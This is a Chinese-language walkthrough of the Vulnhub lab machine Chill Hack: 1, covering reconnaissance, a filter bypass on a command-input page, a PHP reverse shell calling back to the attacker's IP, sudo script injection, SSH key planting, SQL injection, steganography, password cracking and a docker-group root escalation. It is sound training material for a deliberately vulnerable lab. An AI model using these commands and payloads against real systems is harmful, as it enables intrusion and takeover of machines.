Vulnhub 靶场 Chill Hack: 1
前期准备
靶机地址:https://www.vulnhub.com/entry/chill-hack-1,622/
kali攻击机IP:192.168.11.128
靶机IP:192.168.11.132
一、信息收集
1.使用 nmap 对目标靶机进行扫描

开了 21(FTP。有个 note.txt 文件)、22(SSH) 和 80 端口。
2. 21 端口
匿名登陆 ftp 并下载下来 note.txt 文件:

note.txt:
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
2. 80 端口

扫下目录吧:

访问 /secret 目录:

是个 cmd 输入框,根据 ftp 中的 note.txt 中的提示,这里应该对一些字符进行了过滤,应该是绕过过滤,然后写入 shell 或找下 ssh 的登录密码之类的,尝试了几次,发现单引号可以绕过过滤:

且 python、php、nc都有,在 revshells 中挑一个,写入反弹shell,并用 nc 监听:
我用的'php' -r '$sock=fsockopen("192.168.11.128",1234);shell_exec("sh <&3 >&3 2>&3");'

监听成功,升级一下 shell。
二、提权
查看权限和 SUID:

发现可以运行 /home/apaar/.helpline.sh,先查看一下:
.helpline.sh
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null
echo "Thank you for your precious time!"
输入 msg,$msg 2>/dev/null。故可以运行 .helpline.sh 时直接获得 apaar 的权限:
sudo -u apaar /home/apaar/.helpline.sh

得到 apaar 的权限,升级一下 shell。

得到 user flag。之后查看文件和权限,没发现什么提权方法,查看网络时发现还有一个 9001 端口:


本地访问发现是个网站,打算使用 ssh 端口转发,把这个端口转到我本地进行访问,不过我需要能 ssh 登录到靶机,本地使用 ssh-keygen 生成公钥和私钥。把公钥重命名为 authorized_keys 并上传到靶机的 /home/apaar/.ssh 中,替换掉原本的 authorized_keys。

然后使用 ssh 进行端口转发,攻击机运行:ssh -L 8089:127.0.0.1:9001 apaar@192.168.11.132 -i apaar-key
访问本地的 http://127.0.0.1:8089/

一个登录网站,也不需要扫描目录,在 /var/www 目录下就有网站文件:

发现就是 /var/www/files 目录,看一下这几个 php,有什么明显的漏洞:
account.php
<?php
class Account
{
public function __construct($con)
{
$this->con = $con;
}
public function login($un,$pw)
{
$pw = hash("md5",$pw);
$query = $this->con->prepare("SELECT * FROM users WHERE username='$un' AND password='$pw'");
$query->execute();
if($query->rowCount() >= 1)
{
return true;
}?>
<h1 style="color:red";>Invalid username or password</h1>
<?php }
}
?>
很明显有 SQL 注入漏洞,因为虽然使用了 prepare 方法,但未使用绑定参数,用户输入可直接拼接到SQL语句中。
index.php
try
{
$con = new PDO("mysql:dbname=webportal;host=localhost","root","!@m+her00+@db");
$con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);
}
在 index.php 中发现有数据库的登陆密码,尝试登录数据库:

尝试破解一下密码:

7e53614ced3640d5de23f111806cc4fd masterpassword
686216240e5af30df0501e53c789a649 dontaskdonttell
试了一下,这也不是 anurodh 用户的密码。到这没什么思路了,看了下别人的 wp,发现这里还有隐写。把 /var/www/files/images 下的图片下载到本地,使用 steghide 提取图片中嵌入的隐藏信息:
steghide extract -sf hacker-with-laptop_23-2147985341.jpg

提取到一个 backup.zip,尝试解压发现有密码,爆破一下:

得到密码,解压压缩包,解压后得到一个 source_code.php 文件,查看下:

有一串 base64 编码:IWQwbnRLbjB3bVlwQHNzdzByZA== 解码得:!d0ntKn0wmYp@ssw0rd。这应该是 Anurodh 用户的密码,尝试切换到 Anurodh:

切换成功,查一下这个用户的权限:

发现是 docker 组的,可以使用 docker 提权,参考:https://book.hacktricks.xyz/ 或 https://gtfobins.github.io/gtfobins/docker/
docker run -v /:/mnt --rm -it alpine chroot /mnt sh


得到 flag。

浙公网安备 33010602011771号